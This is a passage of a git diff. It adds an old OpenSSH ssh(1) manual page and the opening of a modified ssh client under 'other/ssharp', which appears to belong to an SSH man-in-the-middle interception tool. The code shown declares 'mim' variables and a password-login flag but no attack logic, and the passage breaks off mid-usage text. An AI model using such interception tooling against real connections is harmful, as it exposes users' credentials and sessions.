TCP forwarding +.Pp +If the user is using X11 (the +.Ev DISPLAY +environment variable is set), the connection to the X11 display is +automatically forwarded to the remote side in such a way that any X11 +programs started from the shell (or command) will go through the +encrypted channel, and the connection to the real X server will be made +from the local machine. +The user should not manually set +.Ev DISPLAY . +Forwarding of X11 connections can be +configured on the command line or in configuration files. +.Pp +The +.Ev DISPLAY +value set by +.Nm +will point to the server machine, but with a display number greater +than zero. +This is normal, and happens because +.Nm +creates a +.Dq proxy +X server on the server machine for forwarding the +connections over the encrypted channel. +.Pp +.Nm +will also automatically set up Xauthority data on the server machine. +For this purpose, it will generate a random authorization cookie, +store it in Xauthority on the server, and verify that any forwarded +connections carry this cookie and replace it by the real cookie when +the connection is opened. +The real authentication cookie is never +sent to the server machine (and no cookies are sent in the plain). +.Pp +If the user is using an authentication agent, the connection to the agent +is automatically forwarded to the remote side unless disabled on +command line or in a configuration file. +.Pp +Forwarding of arbitrary TCP/IP connections over the secure channel can +be specified either on command line or in a configuration file. +One possible application of TCP/IP forwarding is a secure connection to an +electronic purse; another is going through firewalls. +.Pp +.Ss Server authentication +.Pp +.Nm +automatically maintains and checks a database containing +identifications for all hosts it has ever been used with. +RSA host keys are stored in +.Pa $HOME/.ssh/known_hosts +and +host keys used in the protocol version 2 are stored in +.Pa $HOME/.ssh/known_hosts2 +in the user's home directory. +Additionally, the files +.Pa /etc/ssh_known_hosts +and +.Pa /etc/ssh_known_hosts2 +are automatically checked for known hosts. +Any new hosts are automatically added to the user's file. +If a host's identification +ever changes, +.Nm +warns about this and disables password authentication to prevent a +trojan horse from getting the user's password. +Another purpose of +this mechanism is to prevent man-in-the-middle attacks which could +otherwise be used to circumvent the encryption. +The +.Cm StrictHostKeyChecking +option (see below) can be used to prevent logins to machines whose +host key is not known or has changed. +.Pp +The options are as follows: +.Bl -tag -width Ds +.It Fl a +Disables forwarding of the authentication agent connection. +.It Fl A +Enables forwarding of the authentication agent connection. +This can also be specified on a per-host basis in a configuration file. +.It Fl c Ar blowfish|3des +Selects the cipher to use for encrypting the session. +.Ar 3des +is used by default. +It is believed to be secure. +.Ar 3des +(triple-des) is an encrypt-decrypt-encrypt triple with three different keys. +It is presumably more secure than the +.Ar des +cipher which is no longer fully supported in +.Nm ssh . +.Ar blowfish +is a fast block cipher, it appears very secure and is much faster than +.Ar 3des . +.It Fl c Ar cipher_spec +Additionally, for protocol version 2 a comma-separated list of ciphers can +be specified in order of preference. +See +.Cm Ciphers +for more information. +.It Fl e Ar ch|^ch|none +Sets the escape character for sessions with a pty (default: +.Ql ~ ) . +The escape character is only recognized at the beginning of a line. +The escape character followed by a dot +.Pq Ql \&. +closes the connection, followed +by control-Z suspends the connection, and followed by itself sends the +escape character once. +Setting the character to +.Dq none +disables any escapes and makes the session fully transparent. +.It Fl f +Requests +.Nm +to go to background just before command execution. +This is useful if +.Nm +is going to ask for passwords or passphrases, but the user +wants it in the background. +This implies +.Fl n . +The recommended way to start X11 programs at a remote site is with +something like +.Ic ssh -f host xterm . +.It Fl g +Allows remote hosts to connect to local forwarded ports. +.It Fl i Ar identity_file +Selects the file from which the identity (private key) for +RSA or DSA authentication is read. +Default is +.Pa $HOME/.ssh/identity +in the user's home directory. +Identity files may also be specified on +a per-host basis in the configuration file. +It is possible to have multiple +.Fl i +options (and multiple identities specified in +configuration files). +.It Fl k +Disables forwarding of Kerberos tickets and AFS tokens. +This may also be specified on a per-host basis in the configuration file. +.It Fl l Ar login_name +Specifies the user to log in as on the remote machine. +This also may be specified on a per-host basis in the configuration file. +.It Fl m Ar mac_spec +Additionally, for protocol version 2 a comma-separated list of MAC +(message authentication code) algorithms can +be specified in order of preference. +See the +.Cm MACs +keyword for more information. +.It Fl n +Redirects stdin from +.Pa /dev/null +(actually, prevents reading from stdin). +This must be used when +.Nm +is run in the background. +A common trick is to use this to run X11 programs on a remote machine. +For example, +.Ic ssh -n shadows.cs.hut.fi emacs & +will start an emacs on shadows.cs.hut.fi, and the X11 +connection will be automatically forwarded over an encrypted channel. +The +.Nm +program will be put in the background. +(This does not work if +.Nm +needs to ask for a password or passphrase; see also the +.Fl f +option.) +.It Fl N +Do not execute a remote command. +This is useful if you just want to forward ports +(protocol version 2 only). +.It Fl o Ar option +Can be used to give options in the format used in the config file. +This is useful for specifying options for which there is no separate +command-line flag. +The option has the same format as a line in the configuration file. +.It Fl p Ar port +Port to connect to on the remote host. +This can be specified on a +per-host basis in the configuration file. +.It Fl P +Use a non-privileged port for outgoing connections. +This can be used if your firewall does +not permit connections from privileged ports. +Note that this option turns off +.Cm RhostsAuthentication +and +.Cm RhostsRSAAuthentication +for older servers. +.It Fl q +Quiet mode. +Causes all warning and diagnostic messages to be suppressed. +Only fatal errors are displayed. +.It Fl s +May be used to request invocation of a subsystem on the remote system. Subsystems are a feature of the SSH2 protocol which facilitate the use +of SSH as a secure transport for other application (eg. sftp). The +subsystem is specified as the remote command. +.It Fl t +Force pseudo-tty allocation. +This can be used to execute arbitrary +screen-based programs on a remote machine, which can be very useful, +e.g., when implementing menu services. +Multiple +.Fl t +options force tty allocation, even if +.Nm +has no local tty. +.It Fl T +Disable pseudo-tty allocation. +.It Fl v +Verbose mode. +Causes +.Nm +to print debugging messages about its progress. +This is helpful in +debugging connection, authentication, and configuration problems. +Multiple +.Fl v +options increases the verbosity. +Maximum is 3. +.It Fl x +Disables X11 forwarding. +.It Fl X +Enables X11 forwarding. +This can also be specified on a per-host basis in a configuration file. +.It Fl C +Requests compression of all data (including stdin, stdout, stderr, and +data for forwarded X11 and TCP/IP connections). +The compression algorithm is the same used by +.Xr gzip 1 , +and the +.Dq level +can be controlled by the +.Cm CompressionLevel +option (see below). +Compression is desirable on modem lines and other +slow connections, but will only slow down things on fast networks. +The default value can be set on a host-by-host basis in the +configuration files; see the +.Cm Compress +option below. +.It Fl L Ar port:host:hostport +Specifies that the given port on the local (client) host is to be +forwarded to the given host and port on the remote side. +This works by allocating a socket to listen to +.Ar port +on the local side, and whenever a connection is made to this port, the +connection is forwarded over the secure channel, and a connection is +made to +.Ar host +port +.Ar hostport +from the remote machine. +Port forwardings can also be specified in the configuration file. +Only root can forward privileged ports. +IPv6 addresses can be specified with an alternative syntax: +.Ar port/host/hostport +.It Fl R Ar port:host:hostport +Specifies that the given port on the remote (server) host is to be +forwarded to the given host and port on the local side. +This works by allocating a socket to listen to +.Ar port +on the remote side, and whenever a connection is made to this port, the +connection is forwarded over the secure channel, and a connection is +made to +.Ar host +port +.Ar hostport +from the local machine. +Port forwardings can also be specified in the configuration file. +Privileged ports can be forwarded only when +logging in as root on the remote machine. +IPv6 addresses can be specified with an alternative syntax: +.Ar port/host/hostport +.It Fl 1 +Forces +.Nm +to try protocol version 1 only. +.It Fl 2 +Forces +.Nm +to try protocol version 2 only. +.It Fl 4 +Forces +.Nm +to use IPv4 addresses only. +.It Fl 6 +Forces +.Nm +to use IPv6 addresses only. +.El +.Sh CONFIGURATION FILES +.Nm +obtains configuration data from the following sources (in this order): +command line options, user's configuration file +.Pq Pa $HOME/.ssh/config , +and system-wide configuration file +.Pq Pa /etc/ssh_config . +For each parameter, the first obtained value +will be used. +The configuration files contain sections bracketed by +.Dq Host +specifications, and that section is only applied for hosts that +match one of the patterns given in the specification. +The matched host name is the one given on the command line. +.Pp +Since the first obtained value for each parameter is used, more +host-specific declarations should be given near the beginning of the +file, and general defaults at the end. +.Pp +The configuration file has the following format: +.Pp +Empty lines and lines starting with +.Ql # +are comments. +.Pp +Otherwise a line is of the format +.Dq keyword arguments . +The possible +keywords and their meanings are as follows (note that the +configuration files are case-sensitive): +.Bl -tag -width Ds +.It Cm Host +Restricts the following declarations (up to the next +.Cm Host +keyword) to be only for those hosts that match one of the patterns +given after the keyword. +.Ql \&* +and +.Ql ? +can be used as wildcards in the +patterns. +A single +.Ql \&* +as a pattern can be used to provide global +defaults for all hosts. +The host is the +.Ar hostname +argument given on the command line (i.e., the name is not converted to +a canonicalized host name before matching). +.It Cm AFSTokenPassing +Specifies whether to pass AFS tokens to remote host. +The argument to this keyword must be +.Dq yes +or +.Dq no . +This option applies to protocol version 1 only. +.It Cm BatchMode +If set to +.Dq yes , +passphrase/password querying will be disabled. +This option is useful in scripts and other batch jobs where you have no +user to supply the password. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm CheckHostIP +If this flag is set to +.Dq yes , +ssh will additionally check the host IP address in the +.Pa known_hosts +file. +This allows ssh to detect if a host key changed due to DNS spoofing. +If the option is set to +.Dq no , +the check will not be executed. +The default is +.Dq yes . +.It Cm Cipher +Specifies the cipher to use for encrypting the session +in protocol version 1. +Currently, +.Dq blowfish +and +.Dq 3des +are supported. +The default is +.Dq 3des . +.It Cm Ciphers +Specifies the ciphers allowed for protocol version 2 +in order of preference. +Multiple ciphers must be comma-separated. +The default is +.Pp +.Bd -literal + ``aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour, + aes192-cbc,aes256-cbc'' +.Ed +.It Cm Compression +Specifies whether to use compression. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm CompressionLevel +Specifies the compression level to use if compression is enabled. +The argument must be an integer from 1 (fast) to 9 (slow, best). +The default level is 6, which is good for most applications. +The meaning of the values is the same as in +.Xr gzip 1 . +Note that this option applies to protocol version 1 only. +.It Cm ConnectionAttempts +Specifies the number of tries (one per second) to make before falling +back to rsh or exiting. +The argument must be an integer. +This may be useful in scripts if the connection sometimes fails. +The default is 4. +.It Cm EscapeChar +Sets the escape character (default: +.Ql ~ ) . +The escape character can also +be set on the command line. +The argument should be a single character, +.Ql ^ +followed by a letter, or +.Dq none +to disable the escape +character entirely (making the connection transparent for binary +data). +.It Cm FallBackToRsh +Specifies that if connecting via +.Nm +fails due to a connection refused error (there is no +.Xr sshd 8 +listening on the remote host), +.Xr rsh 1 +should automatically be used instead (after a suitable warning about +the session being unencrypted). +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm ForwardAgent +Specifies whether the connection to the authentication agent (if any) +will be forwarded to the remote machine. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm ForwardX11 +Specifies whether X11 connections will be automatically redirected +over the secure channel and +.Ev DISPLAY +set. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm GatewayPorts +Specifies whether remote hosts are allowed to connect to local +forwarded ports. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm GlobalKnownHostsFile +Specifies a file to use for the protocol version 1 global +host key database instead of +.Pa /etc/ssh_known_hosts . +.It Cm GlobalKnownHostsFile2 +Specifies a file to use for the protocol version 2 global +host key database instead of +.Pa /etc/ssh_known_hosts2 . +.It Cm HostbasedAuthentication +Specifies whether to try rhosts based authentication with public key +authentication. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq yes . +This option applies to protocol version 2 only and +is similar to +.Cm RhostsRSAAuthentication . +.It Cm HostKeyAlgorithms +Specfies the protocol version 2 host key algorithms +that the client wants to use in order of preference. +The default for this option is: +.Dq ssh-rsa,ssh-dss +.It Cm HostKeyAlias +Specifies an alias that should be used instead of the +real host name when looking up or saving the host key +in the host key database files. +This option is useful for tunneling ssh connections +or if you have multiple servers running on a single host. +.It Cm HostName +Specifies the real host name to log into. +This can be used to specify nicknames or abbreviations for hosts. +Default is the name given on the command line. +Numeric IP addresses are also permitted (both on the command line and in +.Cm HostName +specifications). +.It Cm IdentityFile +Specifies the file from which the user's RSA or DSA authentication identity +is read (default +.Pa $HOME/.ssh/identity +in the user's home directory). +Additionally, any identities represented by the authentication agent +will be used for authentication. +The file name may use the tilde +syntax to refer to a user's home directory. +It is possible to have +multiple identity files specified in configuration files; all these +identities will be tried in sequence. +.It Cm KeepAlive +Specifies whether the system should send keepalive messages to the +other side. +If they are sent, death of the connection or crash of one +of the machines will be properly noticed. +However, this means that +connections will die if the route is down temporarily, and some people +find it annoying. +.Pp +The default is +.Dq yes +(to send keepalives), and the client will notice +if the network goes down or the remote host dies. +This is important in scripts, and many users want it too. +.Pp +To disable keepalives, the value should be set to +.Dq no +in both the server and the client configuration files. +.It Cm KerberosAuthentication +Specifies whether Kerberos authentication will be used. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm KerberosTgtPassing +Specifies whether a Kerberos TGT will be forwarded to the server. +This will only work if the Kerberos server is actually an AFS kaserver. +The argument to this keyword must be +.Dq yes +or +.Dq no . +.It Cm LocalForward +Specifies that a TCP/IP port on the local machine be forwarded over +the secure channel to given host:port from the remote machine. +The first argument must be a port number, and the second must be +host:port. +Multiple forwardings may be specified, and additional +forwardings can be given on the command line. +Only the superuser can forward privileged ports. +.It Cm LogLevel +Gives the verbosity level that is used when logging messages from +.Nm ssh . +The possible values are: +QUIET, FATAL, ERROR, INFO, VERBOSE and DEBUG. +The default is INFO. +.It Cm MACs +Specifies the MAC (message authentication code) algorithms +in order of preference. +The MAC algorithm is used in protocol version 2 +for data integrity protection. +Multiple algorithms must be comma-separated. +The default is +.Pp +.Bd -literal + ``hmac-md5,hmac-sha1,hmac-ripemd160,hmac-ripemd160@openssh.com, + hmac-sha1-96,hmac-md5-96'' +.Ed +.It Cm NumberOfPasswordPrompts +Specifies the number of password prompts before giving up. +The argument to this keyword must be an integer. +Default is 3. +.It Cm PasswordAuthentication +Specifies whether to use password authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +The default is +.Dq yes . +.It Cm Port +Specifies the port number to connect on the remote host. +Default is 22. +.It Cm PreferredAuthentications +Specifies the order in which the client should try protocol 2 +authentication methods. This allows a client to prefer one method (e.g. +.Cm keyboard-interactive ) +over another method (e.g. +.Cm password ) +The default for this option is: +.Dq publickey, password, keyboard-interactive +.It Cm Protocol +Specifies the protocol versions +.Nm +should support in order of preference. +The possible values are +.Dq 1 +and +.Dq 2 . +Multiple versions must be comma-separated. +The default is +.Dq 2,1 . +This means that +.Nm +tries version 2 and falls back to version 1 +if version 2 is not available. +.It Cm ProxyCommand +Specifies the command to use to connect to the server. +The command +string extends to the end of the line, and is executed with +.Pa /bin/sh . +In the command string, +.Ql %h +will be substituted by the host name to +connect and +.Ql %p +by the port. +The command can be basically anything, +and should read from its standard input and write to its standard output. +It should eventually connect an +.Xr sshd 8 +server running on some machine, or execute +.Ic sshd -i +somewhere. +Host key management will be done using the +HostName of the host being connected (defaulting to the name typed by +the user). +Note that +.Cm CheckHostIP +is not available for connects with a proxy command. +.Pp +.It Cm PubkeyAuthentication +Specifies whether to try public key authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +The default is +.Dq yes . +This option applies to protocol version 2 only. +.It Cm RemoteForward +Specifies that a TCP/IP port on the remote machine be forwarded over +the secure channel to given host:port from the local machine. +The first argument must be a port number, and the second must be +host:port. +Multiple forwardings may be specified, and additional +forwardings can be given on the command line. +Only the superuser can forward privileged ports. +.It Cm RhostsAuthentication +Specifies whether to try rhosts based authentication. +Note that this +declaration only affects the client side and has no effect whatsoever +on security. +Disabling rhosts authentication may reduce +authentication time on slow connections when rhosts authentication is +not used. +Most servers do not permit RhostsAuthentication because it +is not secure (see +.Cm RhostsRSAAuthentication ). +The argument to this keyword must be +.Dq yes +or +.Dq no . +The default is +.Dq yes . +This option applies to protocol version 1 only. +.It Cm RhostsRSAAuthentication +Specifies whether to try rhosts based authentication with RSA host +authentication. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq yes . +This option applies to protocol version 1 only. +.It Cm RSAAuthentication +Specifies whether to try RSA authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +RSA authentication will only be +attempted if the identity file exists, or an authentication agent is +running. +The default is +.Dq yes . +Note that this option applies to protocol version 1 only. +.It Cm ChallengeResponseAuthentication +Specifies whether to use challenge response authentication. +Currently there is only support for +.Xr skey 1 +authentication. +The argument to this keyword must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +.It Cm StrictHostKeyChecking +If this flag is set to +.Dq yes , +.Nm +will never automatically add host keys to the +.Pa $HOME/.ssh/known_hosts +and +.Pa $HOME/.ssh/known_hosts2 +files, and refuses to connect to hosts whose host key has changed. +This provides maximum protection against trojan horse attacks. +However, it can be somewhat annoying if you don't have good +.Pa /etc/ssh_known_hosts +and +.Pa /etc/ssh_known_hosts2 +files installed and frequently +connect to new hosts. +This option forces the user to manually +add all new hosts. +If this flag is set to +.Dq no , +.Nm +will automatically add new host keys to the +user known hosts files. +If this flag is set to +.Dq ask , +new host keys +will be added to the user known host files only after the user +has confirmed that is what they really want to do, and +.Nm +will refuse to connect to hosts whose host key has changed. +The host keys of +known hosts will be verified automatically in all cases. +The argument must be +.Dq yes , +.Dq no +or +.Dq ask . +The default is +.Dq ask . +.It Cm UsePrivilegedPort +Specifies whether to use a privileged port for outgoing connections. +The argument must be +.Dq yes +or +.Dq no . +The default is +.Dq no . +Note that you need to set this option to +.Dq yes +if you want to use +.Cm RhostsAuthentication +and +.Cm RhostsRSAAuthentication +with older servers. +.It Cm User +Specifies the user to log in as. +This can be useful if you have a different user name on different machines. +This saves the trouble of +having to remember to give the user name on the command line. +.It Cm UserKnownHostsFile +Specifies a file to use for the protocol version 1 user +host key database instead of +.Pa $HOME/.ssh/known_hosts . +.It Cm UserKnownHostsFile2 +Specifies a file to use for the protocol version 2 user +host key database instead of +.Pa $HOME/.ssh/known_hosts2 . +.It Cm UseRsh +Specifies that rlogin/rsh should be used for this host. +It is possible that the host does not at all support the +.Nm +protocol. +This causes +.Nm +to immediately execute +.Xr rsh 1 . +All other options (except +.Cm HostName ) +are ignored if this has been specified. +The argument must be +.Dq yes +or +.Dq no . +.It Cm XAuthLocation +Specifies the location of the +.Xr xauth 1 +program. +The default is +.Pa /usr/X11R6/bin/xauth . +.El +.Sh ENVIRONMENT +.Nm +will normally set the following environment variables: +.Bl -tag -width Ds +.It Ev DISPLAY +The +.Ev DISPLAY +variable indicates the location of the X11 server. +It is automatically set by +.Nm +to point to a value of the form +.Dq hostname:n +where hostname indicates +the host where the shell runs, and n is an integer >= 1. +.Nm +uses this special value to forward X11 connections over the secure +channel. +The user should normally not set +.Ev DISPLAY +explicitly, as that +will render the X11 connection insecure (and will require the user to +manually copy any required authorization cookies). +.It Ev HOME +Set to the path of the user's home directory. +.It Ev LOGNAME +Synonym for +.Ev USER ; +set for compatibility with systems that use this variable. +.It Ev MAIL +Set to point the user's mailbox. +.It Ev PATH +Set to the default +.Ev PATH , +as specified when compiling +.Nm ssh . +.It Ev SSH_AUTH_SOCK +indicates the path of a unix-domain socket used to communicate with the +agent. +.It Ev SSH_CLIENT +Identifies the client end of the connection. +The variable contains +three space-separated values: client ip-address, client port number, +and server port number. +.It Ev SSH_ORIGINAL_COMMAND +The variable contains the original command line if a forced command +is executed. +It can be used to extract the original arguments. +.It Ev SSH_TTY +This is set to the name of the tty (path to the device) associated +with the current shell or command. +If the current session has no tty, +this variable is not set. +.It Ev TZ +The timezone variable is set to indicate the present timezone if it +was set when the daemon was started (i.e., the daemon passes the value +on to new connections). +.It Ev USER +Set to the name of the user logging in. +.El +.Pp +Additionally, +.Nm +reads +.Pa $HOME/.ssh/environment , +and adds lines of the format +.Dq VARNAME=value +to the environment. +.Sh FILES +.Bl -tag -width Ds +.It Pa $HOME/.ssh/known_hosts, $HOME/.ssh/known_hosts2 +Records host keys for all hosts the user has logged into (that are not +in +.Pa /etc/ssh_known_hosts +for protocol version 1 or +.Pa /etc/ssh_known_hosts2 +for protocol version 2). +See +.Xr sshd 8 . +.It Pa $HOME/.ssh/identity, $HOME/.ssh/id_dsa, $HOME/.ssh/id_rsa +Contains the authentication identity of the user. +They are for protocol 1 RSA, protocol 2 DSA, and protocol 2 RSA, respectively. +These files +contain sensitive data and should be readable by the user but not +accessible by others (read/write/execute). +Note that +.Nm +ignores a private key file if it is accessible by others. +It is possible to specify a passphrase when +generating the key; the passphrase will be used to encrypt the +sensitive part of this file using 3DES. +.It Pa $HOME/.ssh/identity.pub, $HOME/.ssh/id_dsa.pub, $HOME/.ssh/id_rsa.pub +Contains the public key for authentication (public part of the +identity file in human-readable form). +The contents of the +.Pa $HOME/.ssh/identity.pub +file should be added to +.Pa $HOME/.ssh/authorized_keys +on all machines +where you wish to log in using protocol version 1 RSA authentication. +The contents of the +.Pa $HOME/.ssh/id_dsa.pub +and +.Pa $HOME/.ssh/id_rsa.pub +file should be added to +.Pa $HOME/.ssh/authorized_keys2 +on all machines +where you wish to log in using protocol version 2 DSA/RSA authentication. +These files are not +sensitive and can (but need not) be readable by anyone. +These files are +never used automatically and are not necessary; they are only provided for +the convenience of the user. +.It Pa $HOME/.ssh/config +This is the per-user configuration file. +The format of this file is described above. +This file is used by the +.Nm +client. +This file does not usually contain any sensitive information, +but the recommended permissions are read/write for the user, and not +accessible by others. +.It Pa $HOME/.ssh/authorized_keys +Lists the RSA keys that can be used for logging in as this user. +The format of this file is described in the +.Xr sshd 8 +manual page. +In the simplest form the format is the same as the .pub +identity files (that is, each line contains the number of bits in +modulus, public exponent, modulus, and comment fields, separated by +spaces). +This file is not highly sensitive, but the recommended +permissions are read/write for the user, and not accessible by others. +.It Pa $HOME/.ssh/authorized_keys2 +Lists the public keys (RSA/DSA) that can be used for logging in as this user. +This file is not highly sensitive, but the recommended +permissions are read/write for the user, and not accessible by others. +.It Pa /etc/ssh_known_hosts, /etc/ssh_known_hosts2 +Systemwide list of known host keys. +.Pa /etc/ssh_known_hosts +contains RSA and +.Pa /etc/ssh_known_hosts2 +contains RSA or DSA keys for protocol version 2. +These files should be prepared by the +system administrator to contain the public host keys of all machines in the +organization. +This file should be world-readable. +This file contains +public keys, one per line, in the following format (fields separated +by spaces): system name, number of bits in modulus, public exponent, +modulus, and optional comment field. +When different names are used +for the same machine, all such names should be listed, separated by +commas. +The format is described on the +.Xr sshd 8 +manual page. +.Pp +The canonical system name (as returned by name servers) is used by +.Xr sshd 8 +to verify the client host when logging in; other names are needed because +.Nm +does not convert the user-supplied name to a canonical name before +checking the key, because someone with access to the name servers +would then be able to fool host authentication. +.It Pa /etc/ssh_config +Systemwide configuration file. +This file provides defaults for those +values that are not specified in the user's configuration file, and +for those users who do not have a configuration file. +This file must be world-readable. +.It Pa $HOME/.rhosts +This file is used in +.Pa \&.rhosts +authentication to list the +host/user pairs that are permitted to log in. +(Note that this file is +also used by rlogin and rsh, which makes using this file insecure.) +Each line of the file contains a host name (in the canonical form +returned by name servers), and then a user name on that host, +separated by a space. +On some machines this file may need to be +world-readable if the user's home directory is on a NFS partition, +because +.Xr sshd 8 +reads it as root. +Additionally, this file must be owned by the user, +and must not have write permissions for anyone else. +The recommended +permission for most machines is read/write for the user, and not +accessible by others. +.Pp +Note that by default +.Xr sshd 8 +will be installed so that it requires successful RSA host +authentication before permitting \s+2.\s0rhosts authentication. +If your server machine does not have the client's host key in +.Pa /etc/ssh_known_hosts , +you can store it in +.Pa $HOME/.ssh/known_hosts . +The easiest way to do this is to +connect back to the client from the server machine using ssh; this +will automatically add the host key to +.Pa $HOME/.ssh/known_hosts . +.It Pa $HOME/.shosts +This file is used exactly the same way as +.Pa \&.rhosts . +The purpose for +having this file is to be able to use rhosts authentication with +.Nm +without permitting login with +.Xr rlogin 1 +or +.Xr rsh 1 . +.It Pa /etc/hosts.equiv +This file is used during +.Pa \&.rhosts authentication. +It contains +canonical hosts names, one per line (the full format is described on +the +.Xr sshd 8 +manual page). +If the client host is found in this file, login is +automatically permitted provided client and server user names are the +same. +Additionally, successful RSA host authentication is normally +required. +This file should only be writable by root. +.It Pa /etc/shosts.equiv +This file is processed exactly as +.Pa /etc/hosts.equiv . +This file may be useful to permit logins using +.Nm +but not using rsh/rlogin. +.It Pa /etc/sshrc +Commands in this file are executed by +.Nm +when the user logs in just before the user's shell (or command) is started. +See the +.Xr sshd 8 +manual page for more information. +.It Pa $HOME/.ssh/rc +Commands in this file are executed by +.Nm +when the user logs in just before the user's shell (or command) is +started. +See the +.Xr sshd 8 +manual page for more information. +.It Pa $HOME/.ssh/environment +Contains additional definitions for environment variables, see section +.Sx ENVIRONMENT +above. +.El +.Sh AUTHORS +OpenSSH is a derivative of the original and free +ssh 1.2.12 release by Tatu Ylonen. +Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, +Theo de Raadt and Dug Song +removed many bugs, re-added newer features and +created OpenSSH. +Markus Friedl contributed the support for SSH +protocol versions 1.5 and 2.0. +.Sh SEE ALSO +.Xr rlogin 1 , +.Xr rsh 1 , +.Xr scp 1 , +.Xr sftp 1 , +.Xr ssh-add 1 , +.Xr ssh-agent 1 , +.Xr ssh-keygen 1 , +.Xr telnet 1 , +.Xr sshd 8 +.Rs +.%A T. Ylonen +.%A T. Kivinen +.%A M. Saarinen +.%A T. Rinne +.%A S. Lehtinen +.%T "SSH Protocol Architecture" +.%N draft-ietf-secsh-architecture-07.txt +.%D January 2001 +.%O work in progress material +.Re diff --git a/other/ssharp/ssh.c b/other/ssharp/ssh.c new file mode 100644 index 0000000..91f08cb --- /dev/null +++ b/other/ssharp/ssh.c @@ -0,0 +1,1064 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Ssh client program. This program can be used to log into a remote machine. + * The software supports strong authentication, encryption, and forwarding + * of X11, TCP/IP, and authentication connections. + * + * As far as I am concerned, the code I have written for this software + * can be used freely for any purpose. Any derived versions of this + * software must be clearly marked as such, and if the derived work is + * incompatible with the protocol description in the RFC file, it must be + * called by a name other than "ssh" or "Secure Shell". + * + * Copyright (c) 1999 Niels Provos. All rights reserved. + * + * Modified to work with SSL by Niels Provos + * in Canada (German citizen). + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#include "includes.h" + +#include +#include + +#include "ssh.h" +#include "ssh1.h" +#include "ssh2.h" +#include "compat.h" +#include "cipher.h" +#include "xmalloc.h" +#include "packet.h" +#include "buffer.h" +#include "uidswap.h" +#include "channels.h" +#include "key.h" +#include "authfd.h" +#include "authfile.h" +#include "pathnames.h" +#include "clientloop.h" +#include "log.h" +#include "readconf.h" +#include "sshconnect.h" +#include "tildexpand.h" +#include "dispatch.h" +#include "misc.h" +#include "kex.h" +#include "mac.h" +#include "sshtty.h" +#include "ssharp.h" + +#ifdef HAVE___PROGNAME +extern char *__progname; +#else +char *__progname; +#endif + + +/* dummy. If these are 0, then this doesnt affect kex.c + */ +int SSH2_mim_only = 0; +char *SSH2_mim_cipher = NULL; + +char *oav[100]; /* Should be enough ... */ + +/* Flag indicating whether IPv4 or IPv6. This can be set on the command line. + Default value is AF_UNSPEC means both IPv4 and IPv6. */ +#ifdef IPV4_DEFAULT +int IPv4or6 = AF_INET; +#else +int IPv4or6 = AF_UNSPEC; +#endif + +/* Flag indicating whether debug mode is on. This can be set on the command line. */ +int debug_flag = 0; + +/* The default is *not* to save any information about hosts we are connecting +to */ +int save_hostinfo = 0; + +/* Flag indicating whether a tty should be allocated */ +int tty_flag = 0; +int no_tty_flag = 0; +int force_tty_flag = 0; + +/* don't exec a shell */ +int no_shell_flag = 0; + +/* + * Flag indicating that nothing should be read from stdin. This can be set + * on the command line. + */ +int stdin_null_flag = 0; + +/* + * Flag indicating that ssh should fork after authentication. This is useful + * so that the pasphrase can be entered manually, and then ssh goes to the + * background. + */ +int fork_after_authentication_flag = 0; + +/* + * General data structure for command line options and options configurable + * in configuration files. See readconf.h. + */ +Options options; + +/* + * Name of the host we are connecting to. This is the name given on the + * command line, or the HostName specified for the user-supplied name in a + * configuration file. + */ +char *host; + +/* socket address the host resolves to */ +struct sockaddr_storage hostaddr; + +/* + * Flag to indicate that we have received a window change signal which has + * not yet been processed. This will cause a message indicating the new + * window size to be sent to the server a little later. This is volatile + * because this is updated in a signal handler. + */ +volatile int received_window_change_signal = 0; + +char *client_version_string, *server_version_string; + +/* Private host keys. */ +struct { + Key **keys; + int nkeys; +} sensitive_data; + + +/* command to be executed */ +Buffer command; + +/* Should we execute a command or invoke a subsystem? */ +int subsystem_flag = 0; + +/* Prints a help message to the user. This function never returns. */ + +void +usage(void) +{ + fprintf(stderr, "Usage: %s [options] host [command]\n", __progname); + fprintf(stderr, "Options:\n"); + fprintf(stderr, " -l user Log in using this user name.\n"); + fprintf(stderr, " -Z pass Use 'pass' to login.\n"); + fprintf(stderr, " -r Use special RSA-mode.\n"); + fprintf(stderr, " -n Redirect input from " _PATH_DEVNULL ".\n"); + fprintf(stderr, " -A Enable authentication agent forwarding.\n"); + fprintf(stderr, " -a Disable 